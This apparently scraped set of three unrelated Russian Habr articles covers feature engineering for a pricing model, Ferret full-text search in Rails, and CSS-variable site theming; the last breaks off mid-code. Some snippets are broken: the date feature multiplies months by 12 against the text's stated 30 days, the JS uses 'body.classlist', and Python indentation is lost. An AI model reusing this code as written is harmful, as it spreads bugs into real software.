Велика или мала полученная ошибка? Априори это сказать невозможно, однако с учетом того, что мы используем всего две фичи и одну из самых простых моделей — скорее всего наше предсказание далеко от оптимального. Давайте попробуем поэкспериментировать, например добавив новых фичей. Например в базовом файле с данными помимо уже использованных двух полей (bracket\_pricing и quantity) имеется (пусть и с не очень часто отличающимися от 0 значениями) поле min\_order\_quantity. Давайте попробуем использовать его значение в качестве новой фичи для обучения алгоритма.
```
def get_min_order_quantity(instance):
return [int(instance['min_order_quantity'])]
def to_sample(instance):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance))
Mean Squared Error: 0.8234554779286141
```
Как видим, ошибка немного уменьшилась, а значит — наш алгоритм улучшился. Не будем останавливатся на достигнутом и добавим одну за одной еще несколько фичей.
```
def get_annual_usage(instance):
return [int(instance['annual_usage'])]
def to_sample(instance):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance) + get_annual_usage(instance))
Mean Squared Error: 0.8227852260998361
```
Следующее неиспользованное пока поле — quote\_date, не имеет простой интерпретации в виде числа или набора чисел фиксированной длины. Поэтому придется немного подумать о том, как использовать его значение в качестве числового входа для алгоритма. Конечно, и год и месяц и день могут помочь в качестве новой фичи, но самым логичным первым приближением выглядит количество дней начиная с определенной даты — например с 1 января нулевого года, как дня, наступившего заведомо раньше самой ранней из встретившихся в файле дат. В первом приближении можно пока посчитать, что в году всегда 365 дней, а в каждом из 12 месяцев — 30. И пусть нас не смутит кажущаяся математическая некорректность этого предположения — мы всегда сможем уточнить формулы позже и посмотреть, улучшит ли соответствующая фича качество предсказания на валидационной выборке.
```
def get_absolute_date(instance):
return [365 * int(instance['quote_date'].split('-')[0])
+ 12 * int(instance['quote_date'].split('-')[1])
+ int(instance['quote_date'].split('-')[2])]
def to_sample(instance):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance) + get_annual_usage(instance)
+ get_absolute_date(instance))
Mean Squared Error: 0.8216646342919645
```
Как видим, даже не вполне математически и астрономически корректная фича тем не менее помогла улучшить качество предсказания нашей модели. Теперь перейдем к пока еще новому для нас типу признаков, содержащихся в полях tube\_assembly\_id и supplier. Каждое из этих полей содержит значения идентификаторов предприятия-изготовителя и вендора. Они имеют не бинарную и не количественную природу, а описывают тип объекта из фиксированного списка. В машинном обучении такие свойства объектов и соответствующие им фичи наывают *категориальными*. Впрочем, категория предприятия-изготовителя сама по себе нам наврядли поможет, так как они не повторяются в файле test\_set.csv, и мы совершенно правильно разделили размеченную выборку таким образом чтобы между тренировочной и валидационной частями (практически) не было соответствующего пересечения. Попробуем, тем не менее, извлечь что-то полезное из значения поля supplier. Посмотрим для начала какие вообще соответствующие коды встречаются в файле с размеченными данными.
```
>>> with open('./data/competition_data/train_set.csv') as input_stream:
... header_line = input_stream.readline()
... suppliers = set()
... for line in input_stream:
... new_supplier = line.split(',')[1]
... suppliers.add(new_supplier)
...
>>> print(len(suppliers))
57
>>> print(suppliers)
{'S-0058', 'S-0013', 'S-0050', 'S-0011', 'S-0070', 'S-0104', 'S-0012', 'S-0068', 'S-0041', 'S-0023', 'S-0092', 'S-0095', 'S-0029', 'S-0051', 'S-0111', 'S-0064', 'S-0005', 'S-0096', 'S-0062', 'S-0004', 'S-0059', 'S-0031', 'S-0078', 'S-0106', 'S-0060', 'S-0090', 'S-0072', 'S-0105', 'S-0087', 'S-0080', 'S-0061', 'S-0108', 'S-0042', 'S-0027', 'S-0074', 'S-0081', 'S-0025', 'S-0024', 'S-0030', 'S-0022', 'S-0014', 'S-0054', 'S-0015', 'S-0008', 'S-0007', 'S-0009', 'S-0056', 'S-0026', 'S-0107', 'S-0066', 'S-0018', 'S-0109', 'S-0043', 'S-0046', 'S-0003', 'S-0006', 'S-0097'}
```
Как видим — их не так уж и много. Для начала можно попробовать поступить самым простым стандартным для таких случаев образом, а именно сопоставить каждому значению поля массив с одной единицей, стоящей на месте соответствующем идентификатору и всеми остальными значениями равными 0.
```
SUPPLIERS_LIST = ['S-0058', 'S-0013', 'S-0050', 'S-0011', 'S-0070', 'S-0104', 'S-0012', 'S-0068', 'S-0041', 'S-0023', 'S-0092', 'S-0095', 'S-0029', 'S-0051', 'S-0111', 'S-0064', 'S-0005', 'S-0096', 'S-0062', 'S-0004', 'S-0059', 'S-0031', 'S-0078', 'S-0106', 'S-0060', 'S-0090', 'S-0072', 'S-0105', 'S-0087', 'S-0080', 'S-0061', 'S-0108', 'S-0042', 'S-0027', 'S-0074', 'S-0081', 'S-0025', 'S-0024', 'S-0030', 'S-0022', 'S-0014', 'S-0054', 'S-0015', 'S-0008', 'S-0007', 'S-0009', 'S-0056', 'S-0026', 'S-0107', 'S-0066', 'S-0018', 'S-0109', 'S-0043', 'S-0046', 'S-0003', 'S-0006', 'S-0097']
def get_supplier(instance):
if instance['supplier'] in SUPPLIERS_LIST:
supplier_index = SUPPLIERS_LIST.index(instance['supplier'])
result = [0] * supplier_index + [1] + [0] * (len(SUPPLIERS_LIST) - supplier_index - 1)
else:
result = [0] * len(SUPPLIERS_LIST)
return result
def to_sample(instance):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance) + get_annual_usage(instance)
+ get_absolute_date(instance) + get_supplier(instance))
Mean Squared Error: 0.7992338454746866
```
Как мы видим, произошло значительное снижение средней ошибки. Скорее всего это означает, что в значении поля, которое мы добавили, заложена ценная для алгоритма информация и стоит попробовать воспользоваться ей позже еще несколько раз, но каким-нибудь менее банальным способом. Мы уже обсудили, что поле tube\_assembly вряд ли поможет нам напрямую, однако стоит все-таки попробовать проверить это экспериментально.
```
def get_assembly(instance):
assembly_id = int(instance['tube_assembly_id'].split('-')[1])
result = [0] * assembly_id + [1] + [0] * (25000 - assembly_id - 1)
return result
def to_sample(instance):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance) + get_annual_usage(instance)
+ get_absolute_date(instance) + get_supplier(instance)
+ get_assembly(instance))
```
Разумеется, конкретный способ конвертации идентификатора производителя в фичевектор выглядит несколько неуклюже, особенно с учетом количества возможных значений, однако если у читателя есть более конструктивный вариант использования этого поля напрямую и без привлечения дополнительных данных, то можно обсудить его в комментариях и даже попробовать применить в рамках имеющегося на данный момент кода. А мы вспомним о том, что помимо основного файла с обучающей выборкой в нашем распоряжении имеется еще несколько файлов с вспомогательными данными и попробуем поэкспериментировать с их привлечением. Например, чтобы нам было не очень обидно за относительную (хотя и предсказуемую) неудачу с прямым использованием значения поля tube\_assembly\_id, можно попытаться взять реванш, воспользовавшись данными, содержащимися в файле specs.csv и в анонимизированной форме описывающими соответствующие этим значениям спецификаторы.
```
head data/competition_data/specs.csv -n 20
tube_assembly_id,spec1,spec2,spec3,spec4,spec5,spec6,spec7,spec8,spec9,spec10
TA-00001,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00002,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00003,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00004,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00005,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00006,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00007,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00008,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00009,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00010,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00011,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00012,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00013,SP-0004,SP-0069,SP-0080,NA,NA,NA,NA,NA,NA,NA
TA-00014,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00015,SP-0063,SP-0069,SP-0080,NA,NA,NA,NA,NA,NA,NA
TA-00016,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00017,NA,NA,NA,NA,NA,NA,NA,NA,NA,NA
TA-00018,SP-0007,SP-0058,SP-0070,SP-0080,NA,NA,NA,NA,NA,NA
TA-00019,SP-0080,NA,NA,NA,NA,NA,NA,NA,NA,NA
```
Похоже на то, что имеет место простое перечисление спецификаторов соответствующих каждому значению. Соответственно разумным выглядит вариант в качестве фичевектора выбрать массив из единиц и нулей, в котором единицы стоят на позициях, соответствующих имеющимся спецификаторам, а нули — всем остальным. Для того, чтобы использовать данные из дополнительного файла, нам придется сделать небольшое изменение в структуре кода.
```
def get_assembly_specs(instance, assembly_to_specs):
result = [0] * 100
for spec in assembly_to_specs[instance['tube_assembly_id']]:
result[int(spec.split('-')[1])] = 1
return result
def to_sample(instance, additional_data):
return (is_bracket_pricing(instance) + get_quantity(instance)
+ get_min_order_quantity(instance) + get_annual_usage(instance)
+ get_absolute_date(instance) + get_supplier(instance)
+ get_assembly_specs(instance, additional_data['assembly_to_specs']))
def load_additional_data():
result = dict()
assembly_to_specs = dict()
with open('data/competition_data/specs.csv') as input_stream:
header_line = input_stream.readline()
for line in input_stream:
tube_assembly_id = line.split(',')[0]
specs = []
for spec in line.strip().split(',')[1:]:
if spec != 'NA':
specs.append(spec)
assembly_to_specs[tube_assembly_id] = specs
result['assembly_to_specs'] = assembly_to_specs
return result
additional_data = load_additional_data()
list_of_samples = list(map(lambda x:to_sample(x, additional_data), list_of_instances))
Mean Squared Error: 0.7754770419953809
```
Наши труды не пропали зря и целевая метрика улучшилась на 0.024, что на текущем этапе уже совсем неплохо. На этом, пожалуй, можно пока что остановиться с оптимизацией алгоритма и обсудить вопрос простого предоставления удобного API к обученным алгоритмам для прикладного программиста.
Сперва сохраним обученную модель на диск.
```
with open('./data/model.mdl', 'wb') as output_stream:
output_stream.write(pickle.dumps(model))
```
Теперь создадим скрипт generate\_response.py, в котором воспользуемся полученными ранее наработками.
```
import pickle
import numpy
import research
class FinalModel(object):
def __init__(self, model, to_sample, additional_data):
self._model = model
self._to_sample = to_sample
self._additional_data = additional_data
def process(self, instance):
return self._model.predict(numpy.array(self._to_sample(
instance, self._additional_data)).reshape(1, -1))[0]
if __name__ == '__main__':
with open('./data/model.mdl', 'rb') as input_stream:
model = pickle.loads(input_stream.read())
additional_data = research.load_additional_data()
final_model = FinalModel(model, research.to_sample, additional_data)
print(final_model.process({'tube_assembly_id':'TA-00001', 'supplier':'S-0066',
'quote_date':'2013-06-23', 'annual_usage':'0',
'min_order_quantity':'0', 'bracket_pricing':'Yes',
'quantity':'1'}))
2.357692493326624
```
Теперь аналогичным образом прикладной программист может подгрузить модель и сопутствующие переменные в любом скрипте и использовать для предсказания значения на новых входящих данных.
В следующей серии — дальнейшая оптимизация модели, больше фичей, более сложные алгоритмы и настройка их гиперпараметров, при необходимости — продвинутые валидационные процедуры. | https://habr.com/ru/post/351074/ | null | ru | null |
# Быстрый полнотекстовый поиск в Rails приложениях
Рано или поздно перед каждым сайтом (будь то социальная сеть, форум, блог или еще какое-то хранилище информации) возникает проблема поиска. Каждый разработчик решает эту проблему по-своему: одни пишут свои решения, другие используют готовые встраиваемые поисковики, третьи используют внешние решения, например сервисы от Google.
В этой статье мне хотелось бы рассказать о таком средстве поиска, как Ferret, и о том, как просто использовать данное решение в своем Rails-приложении.
Итак, ferret — это [высокопроизводительный](http://lemonodor.com/archives/001455.html) поисковой движок для Ruby, основанный на [Apache Lucene](http://lucene.apache.org/). Установка ferret сводится к набору одной единственной команды:
`gem install ferret`
**Ferret** — движок, предназначенный для Ruby в целом, а не только для Rails приложений. Использование его в Rails проще чем можно себе представить. Для интеграции Rails и Ferret нужно установить плагин [Acts As Ferret](http://rm.jkraemer.net/projects/show/aaf) в свой проект. Зайдем в папку проекта и в командной строке наберем следующее:
`ruby script/plugin install svn://projects.jkraemer.net/acts_as_ferret/tags/stable/acts_as_ferret`
Для того чтобы использовать Ferret необходимо сделать следующее: в моделе (предположим, что мы хотим проиндексировать пользователей, а вернее их имя и фамилию), по которой мы хотим производить полнотекстовый поиск добавляем такие строки:
`class Member < ActiveRecord::Base
acts_as_ferret :fields => [:first_name, :last_name]
end`
После этого Ferret будет индексировать таблицу модели Member. Теперь рассмотрим, как производится поиск.
Самый простой способ — использование метода **find\_id\_by\_contents**. Итак, если мы напишем следующую иструкцию:
`total_results, members = Member.find_id_by_contents("Egor")`
То произойдет следующее:
* создается папка **index/development/member**, в которую будут помещаться индексы
* при каждом добавлении, удалении или обновлении участников индексы будут обновляться (без каких либо дополнительных иструкций со стороны разработчика). Если вам по какой-то причине нужно принудительно обновить все индексы, просто удалите папку **index/development/member** и индексы будут принудительно обновлены
* ActAsFerret вызовет функцию [Search\_Each](http://ferret.davebalmain.com/api/classes/Ferret/Index/Index.html#M000022)
* в результате работы функции возвращается общее число найденных записей, а также первые 10 из них в следующем формате
`members = [
{:model => "Member", :id => "4", :score => "1.0"},
{:model => "Member", :id => "21", :score => "0.93211"},
{:model => "Member", :id => "27", :score => "0.32212"}
]`
Вы можете спросить а что же делать, если хочется получить более 10 результатов? Ответ прост: функция **find\_id\_by\_contents** имеет несколько параметров, которые позволяют управлять ее поведением:
* **offset** — указывает позицию, с которой будет возвращены результаты
* **limit** — количество возвращаемых записей
Конечно функцию **find\_id\_by\_contents** можно использовать с блоком, например так:
`results = []
total_results = Member.find_id_by_contents("Egor") {|result|
results.push result
}`
Или же, если мы хотим получить записи из базы, а не только идентификаторы, то можно сделать так:
`results = []
total_results = Member.find_id_by_contents("Egor") {|result|
results.push Member.find(result[:id])
}`
Для решения последней задачи есть более простой способ: использование функции **find\_by\_contents**.
`@results = Member.find_by_contents("Egor")`
Итак, что же делает эта инструкция?
* вызывает функцию **find\_id\_by\_contents** для получения идентификаторов
* достает результаты из базы по найденным идентификаторам
* возвращает объект класса **ActsAsFerret::SearchResults** который по сути является небольшой надстройкой над массивом элементов ActiveRecord
Как вы могли заметить использование Ferret достаточно просто и удобно, в то же время, четко вписывается в идеалогию Ruby и Ruby On Rails, поэтому данный инструмент может стать незаменимым помощником для организации поиска в вашем проекте.
**P.s.** для того, чтобы узнать про такие задачи, связанные с Ferret, как:
* разбивка результатов поиска на страницы (pagination)
* продвинутый поиск
* индексация нестандартных полей
* сотрировка результатов
* подстветка результатов поиска
* установка различных весов для различных полей модели
я рекомендую посмотреть подробнее [это руководство](http://www.railsenvy.com/2007/2/19/acts-as-ferret-tutorial) (я активно использовал его для написания данной статьи), а также [официальный сайт проекта](http://rm.jkraemer.net/projects/show/aaf) | https://habr.com/ru/post/48584/ | null | ru | null |
# Темизация. История, причины, реализация
Введение. Причины появления
---------------------------
Когда веб только зарождался – единственной его целью было размещение контента (гипертекстовые страницы), чтобы у пользователей из всемирной паутины был к нему доступ. В то время не могло идти и речи о дизайне, ведь зачем нужен дизайн страницам с научными публикациями, разве они станут от этого полезнее ([первый сайт](http://info.cern.ch/)). Времена меняются и сегодня во всемирной паутине далеко не только научные публикации. Блоги, сервисы, социальные сети и многое, многое другое. Каждый сайт нуждается в своей индивидуальности, ему необходимо заинтересовывать и привлекать пользователей. Даже научные сайты постепенно это понимают, ведь большинство ученых хотят не просто изучать те или иные аспекты, а доносить их до людей, тем самым повышая свою популярность и ценность своих исследований (пример – 15 из 15 научных сайтов [списка](https://www.imena.ua/blog/15-scientific-blogs/) сделали редизайн в последние 6 лет). Рядовым обывателям не интересен серый сайт с непонятным содержанием. Наука становится доступнее, а сайты преобразуются в приложения с удобным и приятным интерфейсом.
Так как "удобство" у каждого свое – нет четкого определения и конкретных правил по реализации удобного для всех сервиса. В последние годы к этому понятию стали привязывать такое понятие, как Темизация. Именно о нем я и хочу рассказать в данной статье.
Думаю, это крайне полезное улучшение. Его появление было неизбежным и, даже странно, что оно стало популярным так поздно. И бизнес, и разработчики делают свои продукты так, чтобы они были доступны всем, везде и всегда. Поэтому, например, в современных оболочках появились функции «оттенки желтого» и «оттенки синего». Тем не менее, не всех устраивают эти функции, поэтому сервисы тоже думают об удобстве использования и здоровье своих любимых пользователей.
Темная тема для ночного периода – это не единственная причина добавления темизации на сайт. Другой важной задачей стоит доступность сервиса. Во все мире 285 млн людей с полной или частичной потерей зрения, в России – 218т [[ист.](https://ria.ru/20161013/1478940323.html)], до 2,2 млрд с различными дефектами [[ист.](https://www.who.int/ru/news/item/08-10-2019-who-launches-first-world-report-on-vision)] почти треть детей в России «заканчивает школу в очках»[[ист.](https://www.m24.ru/articles/deti/21072017/147121)]. Статистика поражает воображение. Однако, большинство людей не лишено зрения полностью, а имеют лишь небольшие отклонения. Это могут быть цветовые отклонения или качественные. Если для качественных отклонений доступность достигается за счет добавления поддержки разных размеров шрифтов, то для цветовых – отличным решением является именно добавление темы.
История развития. Бесконечный путь
----------------------------------
Каждый сайт соответствует определенной цветовой гамме. В первую очередь, это понятие связывается с темной темой и именно с нее стоит начать. В прежние времена, когда цветовая гамма сводилась к оттенкам черного и белого, для реализации темной темы нужно было просто сделать инверсию этих оттенков. Как жаль, что о подобных вещах задумываются не в тот момент, когда их легко реализовать, а когда их реализация является отдельным испытанием. Сейчас же, с углублением связей с дизайном и ростом запросов пользователей – цветовая гамма каждого сайта становится уникальной, порою неожиданной и впечатляющей воображение. Дизайнеры в этом плане способны творить чудеса, «сочетая несочетаемое». К сожалению, подобные дизайны сочетаемы только в текущей расцветке и инвертировав их оттенки – получится совершенно ужасный дизайн. Поэтому, проектируя современные проекты, в которых планируется несколько тем – заранее создаются цветовые гаммы – светлая, темная, розовая и т.д. В дальнейшем, при разработке дизайна все оттенки берутся уже из этой гаммы.
Дизайн – только одна из составляющих каждого сайта. Во время разработки сайт проходит через множество людей – разработчиков, аналитиков, тестировщиков, маркетологов. Темизация так или иначе затрагивает каждого из них. И, в первую очередь, конечно же, разработчиков.
Добавление темизации в проект может быть крайне простой задачей, если эта задача ставится на этапах планирования проекта. Несмотря на то, что она стала популярна только в последние годы, сама эта технология совсем не нова. Этот процесс, как и многие другие отлаживался и активно развивался с каждым годом последние 5-10 лет. Сегодня даже страшно представить, как это делали первопроходцы. Нужно было поменять всем элементам классы, оптимизировать это через наследование цветов, обновлять почти весь ДОМ. А это все во временя такого монстра, как IE, снящегося в худших кошмарах бывалым разработчикам, и до появления ES6. Сейчас же, все эти проблемы уже далеки от разработчиков. Многие невероятно трудные процессы под влиянием времени постепенно уходят в былое, оставляя будущим поколениям разработчиков память о тех ужасных временах и прекрасные решения, доведенные во многом до идеала.
JS один из самых динамично развивающихся языков программирования, но в вебе развивается далеко не только он. Добавляются новые возможности и устраняются старые проблемы в таких технологиях, как HTML и CSS. Это, конечно же, невозможно без обновления и самих браузеров. Развитие и популяризация современных браузеров скидывают большой груз с плеч программистов. На этом все эти технологии не останавливаются и уверен, что через годы, о них будут отзываться также, как программисты сейчас отзываются об IE. Все эти обновления дают нам не только упрощение разработки и повышение ее удобства, но и добавляет ряд новых возможностей. Одной из таких возможностей стали переменные в css, впервые появившиеся в браузерах в 2015 году. 2015 год во многом получился знаменательным для веба – это исторически важное обновления JS, утверждения стандарта HTTP/2, появление WebAssembly, популяризация минимализма в дизайне и появление ReactJS. Эти и многие другие нововведения нацелены на ускорение сайта, упрощение разработки и повышение удобства взаимодействия с интерфейсом.
Немного из истории css-переменных:
Первое упоминание переменных, которое мне удалось откопать, числится за 2012 годом. В апреле сего года в [документации](https://www.w3.org/TR/2012/WD-css-variables-20120410/) появилось описание новой концепции для css – переменные.
Был описан весьма интересный способ создания и использования переменных:
```
:root {
var-header-color: #06c;
}
h1 { background-color: var(header-color); }
```
Однако, до появления этой функциональности в браузерах, должно было пройти значительное время на продумывание и отладку. Так, впервые поддержка css-переменных была добавлена в firefox лишь в 2015 году. Затем, в 2016, к нему присоединились google и safari.
Итоговая реализация отличалась от первоначальной идеи и выглядела следующим, уже привычным нам, образом:
```
:root {
--header-color: #06c;
}
h1 { background-color: var(--header-color); }
```
Впервые, такой способ описания переменных, был описан в [документации](https://www.w3.org/TR/2014/WD-css-variables-1-20140506/) в 2014 году. В том же году появилось описание значения по умолчанию – второго аргумента данной функции.
Также, интересно проследить цели добавления переменных. Судя по первым версиям спецификации – таковыми были возможность избавиться от дублирования констант и улучшение возможностей для разработки адаптивности. В 2015 году появился пример с использованием для интернационализации. О темизации в том далеком и важном для фронтенда году, речи практически не шло – тренд на нее появился лишь в последние несколько лет.
Переменные открыли большой потенциал не только в темизации, но и гибкости дизайна в целом. Раньше для обновления цвета, например кнопки отмены – нужно было пройти по всем файлам, найти все классы, которые означают отмену и обновить их цвета. Теперь же, стандартом является создание переменной, а всем элементам, подразумевающим действие отмены, в качества цвета используется непосредственно она. Если однажды, дизайнер решит, что эта кнопка должна быть теперь не красная, а алая – он может смело это предложить, не боясь быть закиданным камнями за минорное обновление при всей его сложности.
В параллель спецификации Css развиваются также его пре и постпроцессоры. Их развитие было значительно быстрее, так как им не нужно было описывать спецификацию и продвигать ее во все браузеры. Одним из первых препроцессоров был stylus, созданный в далеком 2011, позднее были созданы sass и less. Они дают ряд преимуществ и возможностей, за счет того, что все сложные функции и модификации во время сборки конвертируются в css. Одной из таких возможностей являются переменные. Но это уже совершенно иные переменные, больше похожие на js, нежели css. В сочетании с миксинами и js можно было настроить темизацию.
Прошло уже 10 лет с появления препроцессора, гигантский отрезок по меркам веба. Произошло множество изменений и дополнений. HTML5, ES6,7,8,9,10. JS обзавелся целым рядом библиотек, отстроив вокруг себя невообразимый по масштабам зверинец. Некоторые из этих библиотек стали стандартом современного веба – react, vue и angular, заменив привычный разработчикам HTML на свои альтернативы, основанные на js. JS заменяет и css, сделав такую замечательную технологию, как “css in js”, дающую те же возможности, но только динамичнее и в привычном формате (порою большой ценой, но это уже совсем другая история). JS захватил веб, а затем перешел на захват всего мира.
Темы нужны современному миру и раз уж это так, значит дизайнером нужно знать, как их спроектировать, а разработчикам – как это реализовать. Самих способов реализации, как уже было описано – немало. Не меньше тонкостей и потенциальных проблем, которые могут появляться в ходе развития этой возможности.
Проектирование дизайна
----------------------
Как уже говорилось, гораздо лучше, если идея добавления тем появилась на зарождении проекта. Можно сразу заложить фундамент и продолжать с его учетом. Ведь это явно проще, чем закладывать фундамент после постройки дома. Хотя, справедливости ради, стоит отметить, что если дома проектировались как модульные, с учетом расширения и передвижений – то это будет возможно и без дополнительных усилий.
Так как тема – это элемент интерфейса – часть работ по планированию возьмут на себя дизайнеры. Подходы к разработке дизайн-систем не стоят на месте. Если раньше дизайн сайта разрабатывали в программах, подобных фотошопу (хотя есть отдельные личности, которые занимаются подобным и сейчас, доводя разработчиков до состояния истинного ужаса). У них была масса минусов, особенно во времена медленных компьютеров и больших идей клиентов. Конечно же, эти программы не канут в лету, они будут использоваться по их основному назначению – обработка фотографий, рисование иллюстраций. Их роль получают современные альтернативы, предназначенные в первую очередь для веба – Avocode, Zeplin, Figma, Sketch. Удобно, когда основные инструменты, используемые программистом предназначены именно для целей разработки. В таких случаях, развитие инструментов идет в ногу с развитием сфер, для которых они предназначены. Эти инструменты являются отличным тому подтверждением. Когда они появились – в них можно было копировать css стили, делать сетки, проверять margin-ы и padding-и. Не прямоугольниками и даже не линейкой, а просто движением мыши. Затем появились переменные, после в мир веба пришел компонентный подход и этот подход появился в данных инструментах. Они следят за тенденциями, делая те или иные утилиты, добавляют наборы инструментов и не останавливаются на всем этом, чудесным образом поспевая за этой, разогнавшейся до невероятных скоростей, машиной.
Одно из основных преимуществ компонентного подхода – переиспользуемость. Один и тот же элемент можно вставить в любое место и затем менять их все сразу, легким движением руки. Но это примечательно не только копированием в оригинальном виде, но и с небольшими изменениями. Одним из таких изменений может быть цвет.
Темизация может выходить и за рамки страницы сайта. Одной из таких возможностей является цвет строки состояния и вкладки в некоторых мобильных браузерах. Для этих элементов также стоит продумать оттенки.
**Цветовая гамма**
Просматривая дизайн нового проекта, часто можно заметить странный, но весьма популярный способ именования цветов – *blue200*. Конечно же, за подобное можно сказать спасибо дизайнеру, ведь это тоже верный подход, однако для иных целей. Такой способ хорошо подходит, если разработчики будут использовать атомарный css, ставшим в последние годы самым интересным и приятным для разработчиков, но все еще значительно отстающим по использованию от БЭМ-а [[ист.](https://2020.stateofcss.com/ru-RU/technologies/methodologies/)]. Однако, ни такой способ именования переменных, ни атомарный css не годятся для сайтов, которые проектируются с учетом темизации. Причин тому много, одна из них заключается в том, что *blue200* – это всегда светло-синий цвет и для того, чтобы цвет у всех светло-синих кнопок стал темно-синим – нужно у всех кнопок поменять его на *blue800*. Значительно более верным вариантом будет назвать цвет primary-color, потому что такое имя может быть как *blue200*, так и *blue800*, но всем участникам разработки будет понятно, что эта переменная означает основной цвет сайта.
```
colors: {
body: '#ECEFF1',
antiBody: '#263238',
shared: {
primary: '#1565C0',
secondary: '#EF6C00',
error: '#C62828',
default: '#9E9E9E',
disabled: '#E0E0E0',
},
},
```
Для текста можно использовать схему подобную кнопкам (основной, второстепенный, по умолчанию, для отключенных элементов), а можно использовать уровни цвета:
```
colors: {
...
text: {
lvl1: '#263238',
lvl3: '#546E7A',
lvl5: '#78909C',
lvl7: '#B0BEC5',
lvl9: '#ECEFF1',
},
},
```
То есть основной цвет, цвет для текста 2-го уровня и т.д. При переключении на темную тему – эти уровни инвертируются и интерфейс будет также хорошо выглядеть.
Примеры названия переменных:
`shared-primary-color`,
`text-lvl1-color`.
Конечно же, подобный способ именования переменных не может быть абсолютно универсальным, однако он (при незначительных изменениях) подойдет для большинства случаев.
Теперь, разобравшись с проектированием дизайна в контексте разработки, можно переходить на следующий этап.
Проектирование кода.
--------------------
Как уже говорилось, на уровне кода есть 3 основных пути проектирования темизации – через нативные переменные (с препроцессорами или без), через “css in js”, через замену файлов стилей. Каждое решение может так или иначе свестись к нативным переменным, но беда заключается в том, что в IE нет их поддержки. Дальше будет описано 2 варианта проектирования темизации – с помощью переменных на нативном css и с помощью “css in js”.
Основные шаги при темизации сайта:
1. Создание стилей каждой темы (цвета, тени, рамки);
2. Настройка темы по умолчанию, в зависимости от темы устройства пользователя (в случае с темной и светлой темой);
3. Настройка манифеста и мета тегов;
4. Создание стилизованных компонентов;
5. Настройка смены темы при нажатии на кнопку;
6. Сохранение выбранной темы на устройстве пользователя.
Третий шаг универсален для любого варианта темизации. Поэтому, сперва кратко о нем.
Манифест – это файл, используемый, в первую очередь, для PWA. Однако, его содержимое является альтернативой метатегам и загружается быстрее них. В случае темизации нас интересуют такие ключи, как «theme\_color» и «background\_color». Мети-теги с этими параметрами также можно добавить в head страницы.
`Theme_color` – цвет темы сайта. Указанный цвет будет использоваться в качестве цвета вкладки и строки состояния на мобильных устройствах на системе Android. У данного функционала крайне скудная поддержка браузеров, однако доля этих браузеров составляет 67%.
caniuse.com`Background_color` – цвет, который будет загружаться до загрузки стилей. Поддержка данного атрибута еще более скудная, чем у цвета темы:
caniuse.comПеременные
----------
Начать описание этого варианта стоит с поддержки, так как это, пожалуй, его единственный минус.
caniuse.comПолное отсутствие поддержки в IE, долгое ее отсутствие в популярных браузерах и в Safari являются не критическими проблемами, но ощутимыми, хоть и соотносятся с фриками, не готовыми обновлять свои браузеры и устройства. Однако, IE все еще используется и даже популярнее Safari (5,87% против 3,62% [по данным на 2020г](https://www.cnews.ru/news/top/2020-04-02_firefox_vpervye_za_pyat_let_smestili)).
Теперь о реализации данного способа.
**1. Создание классов dark и light, содержащих переменные темы.**
Способ именования переменных описан в разделе «Проектирование дизайна».
В классах темы должны храниться все переменные, используемые для темизации.
```
.theme-light {
--body-color: #ECEFF1;
--antiBody-color: #263238;
--shared-primary-color: #1565C0;
--shared-secondary-color: #EF6C00;
--shared-error-color: #C62828;
--shared-default-color: #9E9E9E;
--shared-disabled-color: #E0E0E0;
--text-lvl1-color: #263238;
--text-lvl3-color: #546E7A;
--text-lvl5-color: #78909C;
--text-lvl7-color: #B0BEC5;
--text-lvl9-color: #ECEFF1;
}
.theme-dark {
--body-color: #263238;
--antiBody-color: #ECEFF1;
--shared-primary-color: #90CAF9;
--shared-secondary-color: #FFE0B2;
--shared-error-color: #FFCDD2;
--shared-default-color: #BDBDBD;
--shared-disabled-color: #616161;
--text-lvl1-color: #ECEFF1;
--text-lvl3-color: #B0BEC5;
--text-lvl5-color: #78909C;
--text-lvl7-color: #546E7A;
--text-lvl9-color: #263238;
}
```
Вы должны решить, какая тема будет использоваться по умолчанию и добавить ее класс в тег body.
**2. Настройка класса по умолчанию, в зависимости от темы устройства пользователя.**
Если основная цель темизации сайта – добавление темной темы, то вам стоит озаботиться этим пунктом. Верная настройка даст пользователям крайне приятный опыт и не ослепит их, если они придут на ваш сайт в поздние часы, в поисках ценного контента.
Для решения этой задачи есть как минимум 2 корректных подхода
2.1) Настройка темы по умолчанию внутри css
Добавляется новый класс, который устанавливается по умолчанию - `.theme-auto`
Для этого класса добавляются переменные в зависимости от темы устройства посредством media запросов:
```
@media (prefers-color-scheme: dark) {
body.theme-auto {
--background-color: #111;
--text-color: #f3f3f3;
}
}
@media (prefers-color-scheme: light) {
body.theme-auto {
--background-color: #f3f3f3;
--text-color: #111;
}
}
```
Плюсы данного способа:
* отсутствие скриптов
* быстрое выполнение
Минусы:
* дублирование кода (переменные повторяются с `.theme-dark` и `.theme-light`)
* для определения темы, выбранной при последнем посещении все-равно потребуется скрипт
2.2) Установка класса по умолчанию с помощью js
У js есть полезная функция – отслеживание и проверка правил css. Одним из таких правил, как уже было описано выше, является тема устройства пользователя.
Для проверки темы и добавления класса нужной темы нужно добавить следующий код:
```
if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
body.classlist.add('theme-dark')
} else {
body.classlist.add('theme-light')
}
```
Дополнительно вы можете подписаться на изменение темы устройства:
```
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', e => {
if (e.matches) {
